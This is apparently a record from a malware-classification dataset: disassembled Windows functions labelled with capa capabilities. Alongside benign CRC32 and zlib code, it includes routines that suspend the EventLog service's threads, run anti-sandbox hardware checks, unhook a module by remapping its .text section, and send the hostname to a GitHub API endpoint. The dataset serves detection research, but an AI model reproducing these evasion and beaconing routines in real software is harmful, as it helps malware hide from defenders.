joyce8/EMBER2024-capa huggingface dataset:
Function at 0x452720
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x4c900c]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [0x4c9c24]
mov dword [ebp - 0x4c], edx
push edi
mov edi, ecx
test esi, esi
je 0x452746
mov esi, dword [esi + 0x78]
jmp 0x452748
xor esi, esi
push 0xbe2
call dword [0x4c9c98]
push 0x8006
call dword [0x4c9c48]
push 0x303
push 1
push 0x303
push 0x302
call dword [0x4c9c50]
push 0xb44
call dword [0x4c9c88]
push 0xb71
call dword [0x4c9c88]
push 0xb90
call dword [0x4c9c88]
push 0xc11
call dword [0x4c9c98]
cmp dword [esi], 0x136
jb 0x4527b4
push 0x8f9d
call dword [0x4c9c88]
push ebx
push 0x1b02
push 0x408
call dword [0x4c9cec]
cmp byte [esi + 0x50], 0
mov bl, 1
je 0x4527f2
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], 0
push eax
push 0x935c
call dword [0x4c9cb8]
xor eax, eax
movzx ebx, bl
cmp dword [ebp - 0x48], 0x8ca2
cmove ebx, eax
push dword [ebp + 8]
push dword [ebp - 0x4c]
push 0
push 0
call dword [0x4c9d14]
movss xmm6, dword [edi + 0x14]
test bl, bl
movss xmm4, dword [edi + 0x18]
movaps xmm5, xmm6
addss xmm5, dword [edi + 0x1c]
movaps xmm3, xmm4
addss xmm3, dword [edi + 0x20]
pop ebx
jne 0x45282a
movaps xmm0, xmm4
movaps xmm4, xmm3
movaps xmm3, xmm0
movss xmm2, dword [0x4c19a0]
movaps xmm1, xmm5
subss xmm1, xmm6
mov dword [ebp - 0x1c], 0xbf800000
movaps xmm0, xmm2
mov dword [ebp - 0x18], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 0x3f800000
divss xmm0, xmm1
movss dword [ebp - 0x44], xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
movaps xmm0, xmm4
subss xmm0, xmm3
divss xmm2, xmm0
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
movaps xmm0, xmm5
movss dword [ebp - 0x30], xmm2
addss xmm0, xmm6
subss xmm6, xmm5
divss xmm0, xmm6
movss dword [ebp - 0x14], xmm0
movaps xmm0, xmm3
addss xmm0, xmm4
subss xmm3, xmm4
divss xmm0, xmm3
movss dword [ebp - 0x10], xmm0
push dword [esi + 0x28]
call dword [0x4c9d0c]
push 0
push dword [esi + 0x2c]
call dword [0x4c9d04]
lea eax, [ebp - 0x44]
push eax
push 0
push 1
push dword [esi + 0x30]
call dword [0x4c9d08]
cmp dword [esi], 0x14a
jb 0x4528de
push 0
push 0
call dword [0x4c9c3c]
push dword [ebp + 0xc]
call dword [0x4c9c44]
push dword [esi + 0x40]
push 0x8892
call dword [0x4c9c38]
push dword [esi + 0x44]
push 0x8893
call dword [0x4c9c38]
push dword [esi + 0x34]
call dword [0x4c9c9c]
push dword [esi + 0x38]
call dword [0x4c9c9c]
push dword [esi + 0x3c]
call dword [0x4c9c9c]
push 0
push 0x14
push 0
push 0x1406
push 2
push dword [esi + 0x34]
call dword [0x4c9d10]
push 8
push 0x14
push 0
push 0x1406
push 2
push dword [esi + 0x38]
call dword [0x4c9d10]
push 0x10
push 0x14
push 1
push 0x1401
push 4
push dword [esi + 0x3c]
call dword [0x4c9d10]
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.004a7a88
mov esp, ebp
pop ebp
ret
Function at 0x45cf60
Capabilities:
Hash data with crc32

Disassembly:
mov eax, dword [0x4c9c24]
push esi
mov esi, ecx
push edi
mov edi, dword [eax + 0x49e0]
cmp esi, 0xffffffff
jne 0x45cf7b
cmp dword [edi + 0x48], ecx
cmovne esi, dword [edi + 0x48]
mov eax, dword [edi + 0x40]
cmp esi, eax
jne 0x45cf87
or esi, 0xffffffff
jmp 0x45cf8c
cmp esi, 0xffffffff
jl 0x45cf90
cmp esi, eax
jl 0x45cfa8
push 0xbfc
push str.d:CProjectsSCUMSX2_srcimguiimgui_tables.cpp
push str.column_n____1__column_n___table__ColumnsCount
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
add esp, 0xc
test byte [edi + 4], 7
je 0x45d003
mov ax, word [edi + 0x4c]
mov word [edi + 0x1c4], si
mov esi, 0x4bdde5
mov word [edi + 0x4e], ax
mov al, 0x23
mov byte [edi + 0x1db], 1
mov edi, dword [edi]
not edi
mov ecx, edi
cmp al, 0x23
jne 0x45cfdf
cmp byte [esi], al
jne 0x45cfdf
cmp byte [esi + 1], al
cmove ecx, edi
movzx edx, cl
movzx eax, al
xor edx, eax
shr ecx, 8
mov al, byte [esi]
inc esi
xor ecx, dword [edx*4 + 0x4afba0]
test al, al
jne 0x45cfd1
not ecx
xor edx, edx
pop edi
pop esi
jmp fcn.00438c40
pop edi
pop esi
ret
Function at 0x474ab0
Capabilities:
Hash data with crc32

Disassembly:
test dword [ecx + 0xc], 0x100000
push esi
push edi
je 0x474b20
mov cl, byte [edx]
lea esi, [edx + 1]
or eax, 0xffffffff
test cl, cl
je 0x474af8
or edi, 0xffffffff
nop word [eax + eax]
cmp cl, 0x23
jne 0x474adf
cmp byte [esi], cl
jne 0x474adf
cmp byte [esi + 1], cl
cmove eax, edi
movzx edx, al
movzx ecx, cl
xor edx, ecx
shr eax, 8
mov cl, byte [esi]
inc esi
xor eax, dword [edx*4 + 0x4afba0]
test cl, cl
jne 0x474ad0
mov ecx, dword [0x4c9c24]
not eax
cmp dword [ecx + 0x3e84], eax
jne 0x474b0e
mov dword [ecx + 0x3e88], eax
cmp dword [ecx + 0x3eac], eax
jne 0x474b32
mov byte [ecx + 0x3eb0], 1
pop edi
pop esi
ret
mov eax, dword [0x4c9c24]
push ecx
push edx
mov ecx, dword [eax + 0x3e38]
call fcn.0042a650
pop edi
pop esi
ret
Function at 0x4890c0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 8]
mov ebx, eax
mov edi, eax
and ebx, 7
je 0x4890ed
cmp eax, ebx
jge 0x4890e1
call fcn.004889a0
mov eax, dword [esi + 8]
mov ecx, ebx
shr dword [esi + 0xc], cl
sub eax, ebx
mov dword [esi + 8], eax
mov edi, eax
xor ecx, ecx
test eax, eax
jle 0x489110
mov edx, dword [esi + 0xc]
mov al, byte [esi + 0xc]
mov byte [ebp + ecx - 4], al
inc ecx
lea eax, [edi - 8]
shr edx, 8
mov dword [esi + 0xc], edx
mov edi, eax
test eax, eax
jg 0x4890f6
mov dword [esi + 8], edi
jns 0x48912d
mov eax, dword fs:[0x2c]
mov eax, dword [eax]
mov dword [eax + 0xc], str.zlib_corrupt
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp ecx, 4
jge 0x48914e
mov edi, dword [esi + 4]
mov eax, dword [esi]
cmp eax, edi
jb 0x48913f
xor dl, dl
jmp 0x489144
mov dl, byte [eax]
inc eax
mov dword [esi], eax
mov byte [ebp + ecx - 4], dl
inc ecx
cmp ecx, 4
jl 0x489137
mov eax, dword [ebp - 4]
movzx ecx, byte [ebp - 1]
movzx edi, ah
movzx eax, al
shl edi, 8
add edi, eax
shl ecx, 8
movzx eax, byte [ebp - 2]
add ecx, eax
mov eax, edi
xor eax, 0xffff
cmp ecx, eax
jne 0x489112
mov eax, dword [esi]
add eax, edi
cmp eax, dword [esi + 4]
jbe 0x489198
mov eax, dword fs:[0x2c]
pop edi
pop esi
pop ebx
mov eax, dword [eax]
mov dword [eax + 0xc], str.read_past_buffer
xor eax, eax
mov esp, ebp
pop ebp
ret
mov edx, dword [esi + 0x10]
lea eax, [edx + edi]
cmp eax, dword [esi + 0x18]
jbe 0x4891b6
push edi
mov ecx, esi
call fcn.00488ae0
add esp, 4
test eax, eax
je 0x489124
push edi
push dword [esi]
push dword [esi + 0x10]
call sub.VCRUNTIME140.dll_memcpy
add dword [esi], edi
add esp, 0xc
add dword [esi + 0x10], edi
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401380
Capabilities:
Enumerate process modules
Enumerate threads
Query service status
Suspend thread

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0x868
mov eax, dword [0x4e6c40]
xor eax, esp
mov dword [esp + 0x864], eax
lea esi, [esp + 0x464]
push 0x400
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x60], 0
lea eax, [esp + 0x64]
push 0x400
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
mov dword [esp + 0x58], 0
mov dword [esp + 0x54], 0
mov dword [esp + 0x5c], 0
mov dword [esp + 0x50], 0
mov dword [esp + 0x4c], 0
xorps xmm0, xmm0
movups xmmword [esp + 0x38], xmm0
movups xmmword [esp + 0x28], xmm0
mov dword [esp + 0x48], 0
mov dword [esp + 0xc], 0x1c
push 0x2000000
push 0
push 0x45fee8
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0x2000000
push str.EventLog
push eax
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
lea ecx, [esp + 0x4c]
lea edx, [esp + 0x28]
push ecx
push 0x24
push edx
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
mov eax, dword [esp + 0x44]
mov dword [esp + 4], eax
push eax
push 0
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [esp + 8], eax
lea eax, [esp + 0x60]
push eax
push 0x400
push esi
push edi
call sub.KERNEL32.dll_K32EnumProcessModules
mov eax, dword [esp + 0x60]
mov dword [esp], eax
cmp eax, 4
jae 0x401540
lea ebp, [esp + 0xc]
push ebp
mov ebx, dword [esp + 0xc]
push ebx
call sub.KERNEL32.dll_Thread32First
push ebp
push ebx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x401523
mov esi, dword [esp + 4]
jmp 0x4014bb
push ebp
push ebx
call sub.KERNEL32.dll_Thread32Next
test eax, eax
je 0x401523
cmp dword [esp + 0x18], esi
jne 0x4014b0
push dword [esp + 0x14]
push 0
push 0x2000000
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push str.NtQueryInformationThread
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 4
lea ecx, [esp + 0x58]
push ecx
push 9
push edi
call eax
mov eax, dword [esp + 0x50]
mov ecx, dword [esp + 0x54]
cmp eax, ecx
jb 0x4014b0
add ecx, dword [esp + 0x58]
cmp eax, ecx
ja 0x4014b0
push edi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push 0xfa0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov bl, 1
jmp 0x401525
xor ebx, ebx
mov ecx, dword [esp + 0x864]
xor ecx, esp
call fcn.00401ebc
mov eax, ebx
add esp, 0x868
pop esi
pop edi
pop ebx
pop ebp
ret
shr dword [esp], 2
xor ebp, ebp
jmp 0x40155a
inc ebp
cmp dword [esp], ebp
je 0x40148e
mov esi, dword [esp + ebp*4 + 0x464]
push 0x400
lea ebx, [esp + 0x68]
push ebx
push esi
push edi
call sub.KERNEL32.dll_K32GetModuleBaseNameW
push str.wevtsvc.dll
push ebx
call sub.api_ms_win_crt_string_l1_1_0.dll_wcscmp
add esp, 8
test eax, eax
jne 0x401550
push 0xc
lea eax, [esp + 0x58]
push eax
push esi
push edi
call sub.KERNEL32.dll_K32GetModuleInformation
jmp 0x401550
Function at 0x4015a0
Capabilities:
Execute shellcode via indirect call
Get common file path
Get memory capacity
Get system information on windows
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x90
mov eax, dword [0x4e6c40]
xor eax, ebp
mov dword [esp + 0x88], eax
lea eax, [esp + 0x64]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov esi, 0xffffffff
cmp dword [esp + 0x78], 2
jb 0x401690
mov dword [esp + 0x20], 0x40
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, 0xfffff
and eax, dword [esp + 0x2c]
mov ecx, connect
and ecx, dword [esp + 0x28]
or ecx, eax
je 0x401690
sub esp, 0x1c
movaps xmm0, xmmword [0x45b040]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp], 0x45fff8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
lea ecx, [esp + 4]
lea edx, [esp + 8]
push 0
push ecx
push 0x18
push edx
push 0
push 0
push 0x70000
push eax
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov esi, dword [esp + 0x14]
mov eax, esi
mul dword [esp + 8]
mov ecx, edx
mov edi, dword [esp + 0x18]
mul edi
mov ebx, dword [esp + 0xc]
imul ebx, esi
add ecx, ebx
imul ecx, edi
add ecx, edx
mov edx, dword [esp + 0x1c]
imul ecx, edx
mul edx
lea esi, [edx + ecx]
sar esi, 0x1f
shr esi, 2
add esi, eax
adc ecx, edx
shld ecx, esi, 2
cmp ecx, 0x3b
jbe 0x4016a8
xor esi, esi
mov ecx, dword [esp + 0x88]
xor ecx, ebp
call fcn.00401ebc
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4016b0
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x102c
call fcn.00401ed0
mov eax, dword [0x4e6c40]
xor eax, esp
mov dword [esp + 0x1028], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edi, eax
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x24], 0
push dword [esp + 0x1040]
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebp, eax
lea esi, [esp + 0x28]
push 0x1000
push 0
push esi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x45fff4
push esi
call ebx
push dword [esp + 0x1040]
push esi
call ebx
lea eax, [esp + 0x1c]
push 0xc
push eax
mov dword [esp + 0x18], ebp
push ebp
mov dword [esp + 0x18], edi
push edi
call sub.KERNEL32.dll_K32GetModuleInformation
mov ebx, dword [esp + 0x1c]
sub esp, 0x1c
movaps xmm0, xmmword [0x45b050]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileW]
sub esp, 0x18
movaps xmm0, xmmword [0x45b060]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x20], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
sub esp, 0x14
movaps xmm0, xmmword [0x45b070]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x18], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x14], eax
mov edi, dword [ebx + 0x3c]
mov dword [esp], ebx
cmp word [edi + ebx + 6], 0
je 0x40185d
mov eax, dword [esp]
lea ebp, [edi + eax]
add ebp, 0x18
xor esi, esi
jmp 0x4017f0
inc esi
mov eax, dword [esp]
movzx eax, word [eax + edi + 6]
add ebp, 0x28
cmp esi, eax
jae 0x40185d
mov eax, dword [esp]
movzx ebx, word [eax + edi + 0x14]
add ebx, ebp
push str..text
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4017e0
mov dword [esp + 0x18], 0
mov eax, dword [ebx + 0xc]
add eax, dword [esp]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebx + 0xc]
mov ecx, dword [esp]
add ecx, eax
add eax, dword [esp + 0x14]
push dword [ebx + 8]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [ebx + 0xc]
add eax, dword [esp]
lea ecx, [esp + 0x18]
push ecx
push dword [esp + 0x1c]
push dword [ebx + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x4017e0
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0xc]
call esi
push dword [esp + 8]
call esi
push dword [esp + 4]
call esi
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x1028]
xor ecx, esp
call fcn.00401ebc
mov eax, 1
add esp, 0x102c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x4018a0
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
push ebx
push edi
push esi
sub esp, 0xc
mov ebx, dword [esp + 0x20]
mov eax, dword [0x4e6c40]
xor eax, esp
mov dword [esp + 8], eax
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
mov esi, 0x80070057
test ebx, ebx
je 0x4019d8
mov edi, dword [esp + 0x28]
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test edi, edi
je 0x4019d8
test eax, eax
jle 0x4019d8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x4019d8
lea eax, [esp + 4]
push eax
push 0x45b080
push 1
push 0
push 0x45b090
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4019c8
mov ebp, dword [esp + 0x2c]
mov esi, dword [esp + 0x24]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push ebx
push eax
call dword [ecx + 0x50]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push esi
push eax
call dword [ecx + 0x2c]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x40194a
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push ebp
push eax
call dword [ecx + 0x1c]
mov ebp, dword [esp + 0x34]
mov edx, dword [esp + 0x30]
test edx, edx
jle 0x401961
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x3c]
mov ebx, dword [esp + 0x3c]
mov esi, dword [esp + 0x38]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x40197f
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push ebp
push eax
call dword [ecx + 0x24]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test ebx, ebx
js 0x40199a
test eax, eax
jle 0x40199a
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push ebx
push esi
push eax
call dword [ecx + 0x44]
mov eax, dword [esp + 4]
mov ecx, dword [eax]
mov edx, esp
push edx
push 0x45b0a0
push eax
call dword [ecx]
test eax, eax
js 0x4019cc
mov eax, dword [esp]
mov ecx, dword [eax]
push 1
push edi
push eax
call dword [ecx + 0x18]
mov esi, eax
mov eax, dword [esp]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
jmp 0x4019ce
mov esi, eax
jmp 0x4019d8
mov esi, eax
mov eax, dword [esp + 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [esp + 8]
xor ecx, esp
call fcn.00401ebc
mov eax, esi
add esp, 0xc
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x401a00
Capabilities:
Get hostname

Disassembly:
push edi
push esi
sub esp, 0x808
mov eax, dword [0x4e6c40]
xor eax, esp
mov dword [esp + 0x804], eax
push 3
call fcn.00402530
add esp, 4
call fcn.004025b0
test eax, eax
je 0x401ac8
mov esi, eax
push str.https:__api.github.com_user
push 0x2712
push eax
call fcn.00402820
add esp, 0xc
mov dword [esp], 0x400
mov eax, esp
lea ecx, [esp + 0x404]
push eax
push ecx
push 5
call dword [sym.imp.KERNEL32.dll_GetComputerNameExA]
lea edi, [esp + 4]
push 0x400
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push str.pcaadc
push edi
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
push edi
push 0x271f
push esi
call fcn.00402820
add esp, 0xc
push esi
call fcn.00402610
add esp, 4
test eax, eax
je 0x401abf
push eax
call fcn.00405ed0
add esp, 4
mov edi, eax
push 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
add esp, 4
push edi
push str.curl_easy_perform___failed:__s_n
push eax
call fcn.00401af0
add esp, 0xc
push esi
call fcn.00402760
add esp, 4
call fcn.00402560
mov ecx, dword [esp + 0x804]
xor ecx, esp
call fcn.00401ebc
xor eax, eax
add esp, 0x808
pop esi
pop edi
ret
Function at 0x4020fd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x68
mov eax, dword [0x4e6c40]
xor eax, esp
mov dword [esp + 0x64], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 0x20]
mov dword [esp + 0x14], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x10], ecx
mov dword [esp + 8], edx
push esi
push edi
cmp eax, 0x24
jae 0x402138
or eax, 0xffffffff
jmp 0x4021e5
push 0xff
push ecx
lea esi, [ecx + 0x14]
add eax, 0xffffffdc
lea edi, [esp + 0x28]
mov dword [esp + 0x1c], eax
movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x38]
push edx
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
movsd dword es:[edi], dword [esi]
push dword [ebp + 0x14]
push eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.004023d6
mov eax, dword [esp + 0x34]
mov edi, dword [esp + 0x30]
add eax, 0x24
mov esi, dword [esp + 0x38]
push edi
push eax
lea eax, [esp + 0x54]
push esi
push eax
call fcn.00402328
push 8
push dword [esp + 0x40]
lea eax, [esp + 0x64]
push eax
call fcn.004024e3
lea eax, [esp + 0x78]
add esp, 0x38
xor edx, edx
mov dword [esp + 0x10], eax
xor ecx, ecx
mov eax, dword [esp + 0x10]
mov eax, dword [eax + ecx]
xor eax, dword [esp + ecx + 0x20]
add ecx, 4
or edx, eax
cmp ecx, 0x10
jb 0x40219f
lea eax, [esp + 0x30]
xor ecx, ecx
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x10]
mov dword [eax + ecx], 0
add ecx, 4
cmp ecx, 0x30
jb 0x4021be
test edx, edx
je 0x4021e3
push edi
push esi
call fcn.00402216
pop ecx
pop ecx
jmp 0x402130
xor eax, eax
mov ecx, dword [esp + 0x6c]
pop edi
pop esi
xor ecx, esp
call fcn.00401ebc
mov esp, ebp
pop ebp
ret

Function at 0x402230
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 0x10]
test edx, edx
je 0x40225a
mov ecx, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0xc]
sub esi, ecx
sub edi, ecx
mov al, byte [esi + ecx]
xor al, byte [ecx]
mov byte [edi + ecx], al
inc ecx
sub edx, 1
jne 0x40224a
pop edi
pop esi
ret
Function at 0x40226e
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [esp + 4]
push ebx
push ebp
push esi
push edi
push 0x18
pop ebx
add eax, 0x10
push 4
mov ebp, eax
pop edi
mov eax, dword [ebp - 0x10]
mov esi, eax
mov ecx, dword [ebp + 0x10]
shr eax, 8
shl esi, 0x18
or esi, eax
mov eax, dword [ebp]
mov edx, eax
shl eax, 9
shr edx, 0x17
or edx, eax
mov eax, ecx
and eax, edx
add eax, eax
xor eax, ecx
add eax, eax
xor eax, esi
mov dword [ebp + 0x10], eax
mov eax, ecx
or eax, esi
add eax, eax
xor eax, edx
xor eax, esi
mov dword [ebp], eax
mov eax, edx
and eax, esi
lea ebp, [ebp + 4]
shl eax, 3
xor eax, ecx
xor eax, edx
mov dword [ebp - 0x14], eax
sub edi, 1
jne 0x402281
mov eax, ebx
and eax, 3
sub eax, edi
mov edi, dword [esp + 0x14]
je 0x4022f8
dec eax
sub eax, 1
jne 0x402317
mov ecx, dword [edi]
mov eax, dword [edi + 8]
mov dword [edi], eax
mov eax, dword [edi + 0xc]
mov dword [edi + 8], ecx
mov ecx, dword [edi + 4]
mov dword [edi + 4], eax
jmp 0x402314
mov eax, dword [edi]
mov edx, dword [edi + 4]
mov ecx, dword [edi + 8]
mov dword [edi + 4], eax
mov eax, dword [edi + 0xc]
mov dword [edi + 8], eax
mov eax, ebx
or eax, 0x9e377900
xor eax, edx
mov dword [edi], eax
mov dword [edi + 0xc], ecx
lea eax, [edi + 0x10]
sub ebx, 1
jne 0x40227c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x4023d6
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [0x4e6c40]
xor eax, esp
mov dword [esp + 8], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x1c]
push edi
push 0x30
push 0
push esi
call sub.VCRUNTIME140.dll_memset
mov eax, dword [0x45b100]
mov ecx, dword [0x45b104]
mov dword [esi], eax
mov eax, dword [esp + 0x38]
mov dword [esi + 4], ecx
push 1
push esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [esi + 8], ecx
mov dword [esi + 0xc], eax
call fcn.0040225b
mov ebp, dword [esp + 0x44]
add esp, 0x14
mov ebx, ebp
mov ecx, esi
sub ebx, esi
push 0x10
pop edi
mov edx, edi
mov al, byte [ebx + ecx]
xor byte [ecx], al
inc ecx
sub edx, 1
jne 0x40242f
push dword [esp + 0x38]
push esi
call fcn.0040225b
pop ecx
pop ecx
lea edx, [ebp + 0x10]
mov ecx, esi
sub edx, esi
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub edi, 1
jne 0x40244d
push dword [esp + 0x38]
push esi
call fcn.0040225b
mov ebx, dword [esp + 0x3c]
mov edx, ebx
xor byte [esi], 0x14
pop ecx
pop ecx
lea ecx, [esi + 1]
push 0xf
sub edx, ecx
pop edi
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub edi, 1
jne 0x402475
push 1
push esi
call fcn.0040225b
pop ecx
pop ecx
lea edx, [ebx + 0xf]
mov ecx, esi
push 5
sub edx, esi
pop edi
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub edi, 1
jne 0x402494
mov ecx, dword [esp + 0x28]
lea edx, [esp + 0x10]
mov eax, dword [esp + 0x24]
mov dword [esp + 0x14], ecx
lea ecx, [esi + 4]
push 8
mov dword [esp + 0x14], eax
sub edx, ecx
pop edi
mov al, byte [edx + ecx]
xor byte [ecx], al
inc ecx
sub edi, 1
jne 0x4024bb
push 1
push esi
call fcn.0040225b
pop ecx
pop ecx
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401ebc
add esp, 0xc
ret
Function at 0x4024e3
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push edi
mov edi, dword [esp + 0x18]
lea esi, [ebx + 0x10]
push 0x20
pop ebp
mov ecx, esi
sub edi, esi
mov edx, ebp
mov al, byte [edi + ecx]
xor byte [ecx], al
inc ecx
sub edx, 1
jne 0x4024fb
push dword [esp + 0x1c]
push ebx
call fcn.0040225b
pop ecx
pop ecx
mov al, byte [edi + esi]
xor byte [esi], al
inc esi
sub ebp, 1
jne 0x402512
push dword [esp + 0x1c]
push ebx
call fcn.0040225b
pop ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x40c730
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push esi
mov esi, dword [esp + 8]
test esi, esi
je 0x40c7df
push esi
call fcn.00420c90
add esp, 4
test al, al
jne 0x40c7df
push ebx
push edi
mov edi, esi
xor ebx, ebx
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x40c757
sub edi, ecx
push edi
push 0x2e
push esi
call fcn.0042aa50
add esp, 0xc
test eax, eax
je 0x40c78b
sub eax, esi
push eax
push 0x2e
push esi
call fcn.0042aa50
mov ebx, eax
add esp, 0xc
test ebx, ebx
je 0x40c78d
inc ebx
mov ecx, esi
sub ecx, ebx
add edi, ecx
test ebx, ebx
cmovne esi, ebx
lea ebx, [esi + edi]
mov edi, 0x1505
cmp esi, ebx
jae 0x40c7be
nop dword [eax]
mov al, byte [esi]
push eax
call fcn.0041bcf0
movsx ecx, al
inc esi
mov eax, edi
add esp, 4
shl eax, 5
add eax, edi
xor ecx, eax
mov edi, ecx
cmp esi, ebx
jb 0x40c7a0
mov eax, 0x4104105
mov esi, edi
mul edi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov ecx, esi
shl ecx, 6
sub ecx, esi
sub edi, ecx
mov eax, edi
pop edi
pop ebx
pop esi
ret
xor eax, eax
pop esi
ret